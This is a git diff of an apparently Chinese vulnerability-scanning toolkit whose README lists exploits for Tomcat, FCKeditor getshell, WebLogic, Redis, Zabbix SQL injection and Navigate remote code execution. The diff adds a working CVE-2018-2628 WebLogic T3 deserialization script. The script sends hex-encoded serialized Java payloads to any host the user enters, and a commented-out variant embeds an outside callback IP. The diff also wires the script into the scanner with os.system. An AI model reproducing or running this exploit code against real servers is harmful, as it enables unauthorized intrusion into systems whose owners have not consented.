diff --git a/README.md b/README.md index 01d8976..aa3942f 100644 --- a/README.md +++ b/README.md @@ -1,47 +1,59 @@ # vulnerability-list -一个的漏洞检测工具。 + +常见漏洞快速检测,目前包含以下漏洞。 - ## Tomcat: - - CVE_2017_12615 / CVE_2017_12617 - - tomcat_weakpassword - - example_vulnerability(检测tomcat的examples等目录是否存在) - > moon.py -u tomcat http://xx.xx.xx.xx:xxxx +## Tomcat: + +- CVE_2017_12615 / CVE_2017_12617 +- tomcat_weakpassword +- example_vulnerability(检测tomcat的examples等目录是否存在) +> moon.py -u tomcat http://xx.xx.xx.xx:xxxx - ## Fckeditor: - - 获取版本及常见上传页面检测 - - fck<=2.4版本上传直接上传asa文件getshell - > moon.py -u fck http://xx.xx.xx.xx/fckxx - - ## Weblogic: - - CVE_2017_10271 #利用方法参考:https://vulhub.org - - weblogic_ssrf_cve-2014-4210 - - weblogic_weakpassword - > moon.py -u weblogic http://xx.xx.xx.xx:xxxx - - ## IP归属查询: - - 能简单查一下IP的归属地 - > moon.py -u ip http://www.xxx.com - - ## IIS: - - 短文件名泄露 #来自 lijiejie/IIS_shortname_Scanner - > moon.py -u iis http://xx.xx.xx.xx - - ## Docker: - - docker_daemon_api未授权访问 - > moon.py -u docker http://xx.xx.xx.xx:xxxx - - ## Redis: - - redis未授权访问 - > moon.py -u redis http://xx.xx.xx.xx:xxxx or moon.py -u redis xx.xx.xx.xx:xxxx - - ## Zabbix: - - zabbix_sql_CVE_2016_10134 #有参考独自等待的脚本 - > moon.py -u zabbix http://xx.xx.xx.xx:xxxx - - ## Navigate: - - navigate_Unauthenticated_Remote_Code_Execution #利用方法参考 https://www.exploit-db.com/exploits/45561/ - > moon.py -u navigate http://xx.xx.xx.xx:xxxx - - ## Gatepass: - - Gate Pass Management System 2.1 - 'login' SQL Injection #参考 https://www.exploit-db.com/exploits/45766/ - > moon.py -u gatepass http://xx.xx.xx.xx:xxxx \ No newline at end of file +## Fckeditor + +- 获取版本及常见上传页面检测 +- fck<=2.4版本上传直接上传asa文件getshell +> moon.py -u fck http://xx.xx.xx.xx/fckxx + +## Weblogic + +- CVE_2017_10271 #利用方法参考:https://vulhub.org +- weblogic_ssrf_cve-2014-4210 +- weblogic_weakpassword +- CVE-2018-2628 #Author:xxlegend +> moon.py -u weblogic http://xx.xx.xx.xx:xxxx + +## IP归属查询 + +- 能简单查一下IP的归属地 +> moon.py -u ip http://www.xxx.com + +## IIS + +- 短文件名泄露 #来自 lijiejie/IIS_shortname_Scanner +> moon.py -u iis http://xx.xx.xx.xx + +## Docker + +- docker_daemon_api未授权访问 +> moon.py -u docker http://xx.xx.xx.xx:xxxx + +## Redis + +- redis未授权访问 +> moon.py -u redis http://xx.xx.xx.xx:xxxx or moon.py -u redis xx.xx.xx.xx:xxxx + +## Zabbix + +- zabbix_sql_CVE_2016_10134 #有参考独自等待的脚本 +> moon.py -u zabbix http://xx.xx.xx.xx:xxxx + +## Navigate + +- navigate_Unauthenticated_Remote_Code_Execution #利用方法参考 https://www.exploit-db.com/exploits/45561/ +> moon.py -u navigate http://xx.xx.xx.xx:xxxx + +## Gatepass + +- Gate Pass Management System 2.1 - 'login' SQL Injection #参考 https://www.exploit-db.com/exploits/45766/ +> moon.py -u gatepass http://xx.xx.xx.xx:xxxx \ No newline at end of file diff --git a/docker_vuln/__pycache__/Main_docker.cpython-36.pyc b/docker_vuln/__pycache__/Main_docker.cpython-36.pyc index 06122f1..abe4844 100644 Binary files a/docker_vuln/__pycache__/Main_docker.cpython-36.pyc and b/docker_vuln/__pycache__/Main_docker.cpython-36.pyc differ diff --git a/docker_vuln/__pycache__/__init__.cpython-36.pyc b/docker_vuln/__pycache__/__init__.cpython-36.pyc index 21d6547..aa54390 100644 Binary files a/docker_vuln/__pycache__/__init__.cpython-36.pyc and b/docker_vuln/__pycache__/__init__.cpython-36.pyc differ diff --git a/docker_vuln/__pycache__/docker_daemon_api.cpython-36.pyc b/docker_vuln/__pycache__/docker_daemon_api.cpython-36.pyc index 68b227c..b341b8c 100644 Binary files a/docker_vuln/__pycache__/docker_daemon_api.cpython-36.pyc and b/docker_vuln/__pycache__/docker_daemon_api.cpython-36.pyc differ diff --git a/fckeditor/__pycache__/Main_fckeditor.cpython-36.pyc b/fckeditor/__pycache__/Main_fckeditor.cpython-36.pyc index d17a3e2..a587d71 100644 Binary files a/fckeditor/__pycache__/Main_fckeditor.cpython-36.pyc and b/fckeditor/__pycache__/Main_fckeditor.cpython-36.pyc differ diff --git a/fckeditor/__pycache__/__init__.cpython-36.pyc b/fckeditor/__pycache__/__init__.cpython-36.pyc index 6c7eafe..6e7431c 100644 Binary files a/fckeditor/__pycache__/__init__.cpython-36.pyc and b/fckeditor/__pycache__/__init__.cpython-36.pyc differ diff --git a/fckeditor/__pycache__/fckeditor_dangerfile.cpython-36.pyc b/fckeditor/__pycache__/fckeditor_dangerfile.cpython-36.pyc index c3ed96c..ba0152e 100644 Binary files a/fckeditor/__pycache__/fckeditor_dangerfile.cpython-36.pyc and b/fckeditor/__pycache__/fckeditor_dangerfile.cpython-36.pyc differ diff --git a/fckeditor/__pycache__/fckeditor_getshell.cpython-36.pyc b/fckeditor/__pycache__/fckeditor_getshell.cpython-36.pyc index 22215da..f2b3d4b 100644 Binary files a/fckeditor/__pycache__/fckeditor_getshell.cpython-36.pyc and b/fckeditor/__pycache__/fckeditor_getshell.cpython-36.pyc differ diff --git a/fckeditor/__pycache__/fckeditor_version.cpython-36.pyc b/fckeditor/__pycache__/fckeditor_version.cpython-36.pyc index 7c7f6f5..cedaad3 100644 Binary files a/fckeditor/__pycache__/fckeditor_version.cpython-36.pyc and b/fckeditor/__pycache__/fckeditor_version.cpython-36.pyc differ diff --git a/gatepass_vuln/__pycache__/Gate_Pass_Management_System_login_SQL_Injection.cpython-36.pyc b/gatepass_vuln/__pycache__/Gate_Pass_Management_System_login_SQL_Injection.cpython-36.pyc index 139846d..4f80f1f 100644 Binary files a/gatepass_vuln/__pycache__/Gate_Pass_Management_System_login_SQL_Injection.cpython-36.pyc and b/gatepass_vuln/__pycache__/Gate_Pass_Management_System_login_SQL_Injection.cpython-36.pyc differ diff --git a/gatepass_vuln/__pycache__/Main_gatepass.cpython-36.pyc b/gatepass_vuln/__pycache__/Main_gatepass.cpython-36.pyc index dbde61c..27e5fad 100644 Binary files a/gatepass_vuln/__pycache__/Main_gatepass.cpython-36.pyc and b/gatepass_vuln/__pycache__/Main_gatepass.cpython-36.pyc differ diff --git a/gatepass_vuln/__pycache__/__init__.cpython-36.pyc b/gatepass_vuln/__pycache__/__init__.cpython-36.pyc index d13532c..4f7e0c3 100644 Binary files a/gatepass_vuln/__pycache__/__init__.cpython-36.pyc and b/gatepass_vuln/__pycache__/__init__.cpython-36.pyc differ diff --git a/iis/__pycache__/Main_iis.cpython-36.pyc b/iis/__pycache__/Main_iis.cpython-36.pyc index c5d4a5c..e3bebcd 100644 Binary files a/iis/__pycache__/Main_iis.cpython-36.pyc and b/iis/__pycache__/Main_iis.cpython-36.pyc differ diff --git a/iis/__pycache__/__init__.cpython-36.pyc b/iis/__pycache__/__init__.cpython-36.pyc index 21186d5..23c6a3e 100644 Binary files a/iis/__pycache__/__init__.cpython-36.pyc and b/iis/__pycache__/__init__.cpython-36.pyc differ diff --git a/ipq/__pycache__/Main_ipq.cpython-36.pyc b/ipq/__pycache__/Main_ipq.cpython-36.pyc index 806a7a2..53dd536 100644 Binary files a/ipq/__pycache__/Main_ipq.cpython-36.pyc and b/ipq/__pycache__/Main_ipq.cpython-36.pyc differ diff --git a/ipq/__pycache__/__init__.cpython-36.pyc b/ipq/__pycache__/__init__.cpython-36.pyc index 5bcdd96..21cddc1 100644 Binary files a/ipq/__pycache__/__init__.cpython-36.pyc and b/ipq/__pycache__/__init__.cpython-36.pyc differ diff --git a/ipq/__pycache__/ipq.cpython-36.pyc b/ipq/__pycache__/ipq.cpython-36.pyc index 5f48d86..1485dd2 100644 Binary files a/ipq/__pycache__/ipq.cpython-36.pyc and b/ipq/__pycache__/ipq.cpython-36.pyc differ diff --git a/ipquery/__pycache__/Main_ipquery.cpython-36.pyc b/ipquery/__pycache__/Main_ipquery.cpython-36.pyc index 3c2a6e6..46685af 100644 Binary files a/ipquery/__pycache__/Main_ipquery.cpython-36.pyc and b/ipquery/__pycache__/Main_ipquery.cpython-36.pyc differ diff --git a/ipquery/__pycache__/__init__.cpython-36.pyc b/ipquery/__pycache__/__init__.cpython-36.pyc index 4d323d7..9486ae2 100644 Binary files a/ipquery/__pycache__/__init__.cpython-36.pyc and b/ipquery/__pycache__/__init__.cpython-36.pyc differ diff --git a/ipquery/__pycache__/ipquery.cpython-36.pyc b/ipquery/__pycache__/ipquery.cpython-36.pyc index 2cfc7f3..f4521c8 100644 Binary files a/ipquery/__pycache__/ipquery.cpython-36.pyc and b/ipquery/__pycache__/ipquery.cpython-36.pyc differ diff --git a/navigate_vuln/__pycache__/Main_navigate.cpython-36.pyc b/navigate_vuln/__pycache__/Main_navigate.cpython-36.pyc index e1f0a21..b8eb6cd 100644 Binary files a/navigate_vuln/__pycache__/Main_navigate.cpython-36.pyc and b/navigate_vuln/__pycache__/Main_navigate.cpython-36.pyc differ diff --git a/navigate_vuln/__pycache__/__init__.cpython-36.pyc b/navigate_vuln/__pycache__/__init__.cpython-36.pyc index d2ebe24..5236936 100644 Binary files a/navigate_vuln/__pycache__/__init__.cpython-36.pyc and b/navigate_vuln/__pycache__/__init__.cpython-36.pyc differ diff --git a/navigate_vuln/__pycache__/navigate_Unauthenticated_Remote_Code_Execution_CVE_2018_17553.cpython-36.pyc b/navigate_vuln/__pycache__/navigate_Unauthenticated_Remote_Code_Execution_CVE_2018_17553.cpython-36.pyc index 73f6e1c..51cb908 100644 Binary files a/navigate_vuln/__pycache__/navigate_Unauthenticated_Remote_Code_Execution_CVE_2018_17553.cpython-36.pyc and b/navigate_vuln/__pycache__/navigate_Unauthenticated_Remote_Code_Execution_CVE_2018_17553.cpython-36.pyc differ diff --git a/redis_vuln/__pycache__/Main_redis.cpython-36.pyc b/redis_vuln/__pycache__/Main_redis.cpython-36.pyc index 332a920..08bf9ea 100644 Binary files a/redis_vuln/__pycache__/Main_redis.cpython-36.pyc and b/redis_vuln/__pycache__/Main_redis.cpython-36.pyc differ diff --git a/redis_vuln/__pycache__/__init__.cpython-36.pyc b/redis_vuln/__pycache__/__init__.cpython-36.pyc index c8c016a..59947e6 100644 Binary files a/redis_vuln/__pycache__/__init__.cpython-36.pyc and b/redis_vuln/__pycache__/__init__.cpython-36.pyc differ diff --git a/redis_vuln/__pycache__/redis_unauthorized.cpython-36.pyc b/redis_vuln/__pycache__/redis_unauthorized.cpython-36.pyc index e30761b..88658ce 100644 Binary files a/redis_vuln/__pycache__/redis_unauthorized.cpython-36.pyc and b/redis_vuln/__pycache__/redis_unauthorized.cpython-36.pyc differ diff --git a/spring_vuln/__pycache__/CVE_2018_1273.cpython-36.pyc b/spring_vuln/__pycache__/CVE_2018_1273.cpython-36.pyc index af9f979..a9fcf57 100644 Binary files a/spring_vuln/__pycache__/CVE_2018_1273.cpython-36.pyc and b/spring_vuln/__pycache__/CVE_2018_1273.cpython-36.pyc differ diff --git a/spring_vuln/__pycache__/Main_spring.cpython-36.pyc b/spring_vuln/__pycache__/Main_spring.cpython-36.pyc index 20f1a36..96ae20a 100644 Binary files a/spring_vuln/__pycache__/Main_spring.cpython-36.pyc and b/spring_vuln/__pycache__/Main_spring.cpython-36.pyc differ diff --git a/spring_vuln/__pycache__/__init__.cpython-36.pyc b/spring_vuln/__pycache__/__init__.cpython-36.pyc index 32265ce..09f9d2e 100644 Binary files a/spring_vuln/__pycache__/__init__.cpython-36.pyc and b/spring_vuln/__pycache__/__init__.cpython-36.pyc differ diff --git a/tomcat/__pycache__/CVE_2017_12615.cpython-36.pyc b/tomcat/__pycache__/CVE_2017_12615.cpython-36.pyc index 5b125cc..649cb19 100644 Binary files a/tomcat/__pycache__/CVE_2017_12615.cpython-36.pyc and b/tomcat/__pycache__/CVE_2017_12615.cpython-36.pyc differ diff --git a/tomcat/__pycache__/CVE_2017_12617.cpython-36.pyc b/tomcat/__pycache__/CVE_2017_12617.cpython-36.pyc index 17cc45f..a7872bc 100644 Binary files a/tomcat/__pycache__/CVE_2017_12617.cpython-36.pyc and b/tomcat/__pycache__/CVE_2017_12617.cpython-36.pyc differ diff --git a/tomcat/__pycache__/Main_tomcat.cpython-36.pyc b/tomcat/__pycache__/Main_tomcat.cpython-36.pyc index 666e5b4..af43700 100644 Binary files a/tomcat/__pycache__/Main_tomcat.cpython-36.pyc and b/tomcat/__pycache__/Main_tomcat.cpython-36.pyc differ diff --git a/tomcat/__pycache__/__init__.cpython-36.pyc b/tomcat/__pycache__/__init__.cpython-36.pyc index 0f6afbd..3446d4c 100644 Binary files a/tomcat/__pycache__/__init__.cpython-36.pyc and b/tomcat/__pycache__/__init__.cpython-36.pyc differ diff --git a/tomcat/__pycache__/example_vulnerability.cpython-36.pyc b/tomcat/__pycache__/example_vulnerability.cpython-36.pyc index edc7d6b..bc5ac47 100644 Binary files a/tomcat/__pycache__/example_vulnerability.cpython-36.pyc and b/tomcat/__pycache__/example_vulnerability.cpython-36.pyc differ diff --git a/tomcat/__pycache__/tomcat_weakpasswd.cpython-36.pyc b/tomcat/__pycache__/tomcat_weakpasswd.cpython-36.pyc index b81b6e2..b08f29d 100644 Binary files a/tomcat/__pycache__/tomcat_weakpasswd.cpython-36.pyc and b/tomcat/__pycache__/tomcat_weakpasswd.cpython-36.pyc differ diff --git a/weblogic/CVE_2018_2628.py b/weblogic/CVE_2018_2628.py new file mode 100644 index 0000000..23a44d4 --- /dev/null +++ b/weblogic/CVE_2018_2628.py @@ -0,0 +1,72 @@ +# -*- coding: utf-8 -*- +# Author: xxlegend +import socket +import time +import re + +VUL=['CVE-2018-2628'] +#remote ip changed to :127.0.0.1 +PAYLOAD=['ACED0005737D00000001001D6A6176612E726D692E61637469766174696F6E2E416374697661746F72787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707372002D6A6176612E726D692E7365727665722E52656D6F74654F626A656374496E766F636174696F6E48616E646C657200000000000000020200007872001C6A6176612E726D692E7365727665722E52656D6F74654F626A656374D361B4910C61331E03000078707729000A556E69636173745265660000000005A2000000005649E3FD00000000000000000000000000000078'] +#remote ip:104.251.228.50 +#PAYLOAD=['aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707737000a556e6963617374526566000e3130342e3235312e3232382e353000001b590000000001eea90b00000000000000000000000000000078'] +VER_SIG=['\\$Proxy[0-9]+'] + +def t3handshake(sock,server_addr): + sock.connect(server_addr) + sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex')) + time.sleep(1) + sock.recv(1024) + print 'handshake successful' + +def buildT3RequestObject(sock,port): + data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371' + data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport)) + data3 = '1a7727000d3234322e323134' + data4 = '2e312e32353461863d1d0000000078' + for d in [data1,data2,data3,data4]: + sock.send(d.decode('hex')) + time.sleep(2) + print 'send request payload successful,recv length:%d'%(len(sock.recv(2048))) + +def sendEvilObjData(sock,data): + payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000' + payload+=data + payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff' + payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload) + sock.send(payload.decode('hex')) + time.sleep(2) + sock.send(payload.decode('hex')) + res = '' + try: + while True: + res += sock.recv(4096) + time.sleep(0.1) + except Exception as e: + pass + return res + +def checkVul(res,server_addr,index): + p=re.findall(VER_SIG[index], res, re.S) + if len(p)>0: + print '%s:%d is vul %s'%(server_addr[0],server_addr[1],VUL[index]) + else: + print '%s:%d is not vul %s' % (server_addr[0],server_addr[1],VUL[index]) + +def run(dip,dport,index): + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + ##打了补丁之后,会阻塞,所以设置超时时间,默认15s,根据情况自己调整 + sock.settimeout(65) + server_addr = (dip, dport) + t3handshake(sock,server_addr) + buildT3RequestObject(sock,dport) + rs=sendEvilObjData(sock,PAYLOAD[index]) + # print 'rs',rs #本地测试的时候这里有个奇怪的报错 + checkVul(rs,server_addr,index) + +if __name__=="__main__": + # dip = '192.168.110.10' + # dport = 7001 + dip = raw_input('Please input IP:') + dport = int(raw_input('Please input port:')) + run(dip,dport,0) + diff --git a/weblogic/Main_weblogic.py b/weblogic/Main_weblogic.py index a156d83..a8e5a6c 100644 --- a/weblogic/Main_weblogic.py +++ b/weblogic/Main_weblogic.py @@ -2,13 +2,18 @@ import weblogic.CVE_2017_10271 import weblogic.ssrf import weblogic.weblogic_weakpasswd +import os def exec(URL): weblogic.CVE_2017_10271.attack(URL) weblogic.ssrf.attack(URL) weblogic.weblogic_weakpasswd.attack(URL) - + print('[+]开始检测-Weblogic-CVE-2018-2628。[+]') + #切换工作路径 + os.chdir(os.path.realpath(__file__)[:38]) + os.system("py -2 CVE_2018_2628.py") + print('[+]检测结束-Weblogic-CVE-2018-2628。[+]') if __name__ == "__main__": diff --git a/weblogic/__pycache__/CVE_2017_10271.cpython-36.pyc b/weblogic/__pycache__/CVE_2017_10271.cpython-36.pyc index d3ee4a3..2ea13ee 100644 Binary files a/weblogic/__pycache__/CVE_2017_10271.cpython-36.pyc and b/weblogic/__pycache__/CVE_2017_10271.cpython-36.pyc differ diff --git a/weblogic/__pycache__/Main_weblogic.cpython-36.pyc b/weblogic/__pycache__/Main_weblogic.cpython-36.pyc index acb375e..7235189 100644 Binary files a/weblogic/__pycache__/Main_weblogic.cpython-36.pyc and b/weblogic/__pycache__/Main_weblogic.cpython-36.pyc differ diff --git a/weblogic/__pycache__/__init__.cpython-36.pyc b/weblogic/__pycache__/__init__.cpython-36.pyc index 870c2fb..9feda6c 100644 Binary files a/weblogic/__pycache__/__init__.cpython-36.pyc and b/weblogic/__pycache__/__init__.cpython-36.pyc differ diff --git a/weblogic/__pycache__/ssrf.cpython-36.pyc b/weblogic/__pycache__/ssrf.cpython-36.pyc index 89ce820..eafbbb6 100644 Binary files a/weblogic/__pycache__/ssrf.cpython-36.pyc and b/weblogic/__pycache__/ssrf.cpython-36.pyc differ diff --git a/weblogic/__pycache__/weblogic_weakpasswd.cpython-36.pyc b/weblogic/__pycache__/weblogic_weakpasswd.cpython-36.pyc index 01d57d5..ceb8e25 100644 Binary files a/weblogic/__pycache__/weblogic_weakpasswd.cpython-36.pyc and b/weblogic/__pycache__/weblogic_weakpasswd.cpython-36.pyc differ diff --git a/weblogic/weblogic_weakpasswd.py b/weblogic/weblogic_weakpasswd.py index ef13d5c..670fc52 100644 --- a/weblogic/weblogic_weakpasswd.py +++ b/weblogic/weblogic_weakpasswd.py @@ -31,6 +31,7 @@ def attack(URL): except: print('[-]访问weblogic登录页面出错.') print('[+]检测结束-weblogic-weak_pawsswd漏洞。[+]') + print('\n') if __name__ == "__main__": attack() \ No newline at end of file diff --git a/zabbix_vuln/__pycache__/Main_zabbix.cpython-36.pyc b/zabbix_vuln/__pycache__/Main_zabbix.cpython-36.pyc index c392857..f1e8506 100644 Binary files a/zabbix_vuln/__pycache__/Main_zabbix.cpython-36.pyc and b/zabbix_vuln/__pycache__/Main_zabbix.cpython-36.pyc differ diff --git a/zabbix_vuln/__pycache__/__init__.cpython-36.pyc b/zabbix_vuln/__pycache__/__init__.cpython-36.pyc index 32265ce..299bb42 100644 Binary files a/zabbix_vuln/__pycache__/__init__.cpython-36.pyc and b/zabbix_vuln/__pycache__/__init__.cpython-36.pyc differ diff --git a/zabbix_vuln/__pycache__/zabbix_sql_CVE_2016_10134.cpython-36.pyc b/zabbix_vuln/__pycache__/zabbix_sql_CVE_2016_10134.cpython-36.pyc index 2070004..590e1fe 100644 Binary files a/zabbix_vuln/__pycache__/zabbix_sql_CVE_2016_10134.cpython-36.pyc and b/zabbix_vuln/__pycache__/zabbix_sql_CVE_2016_10134.cpython-36.pyc differ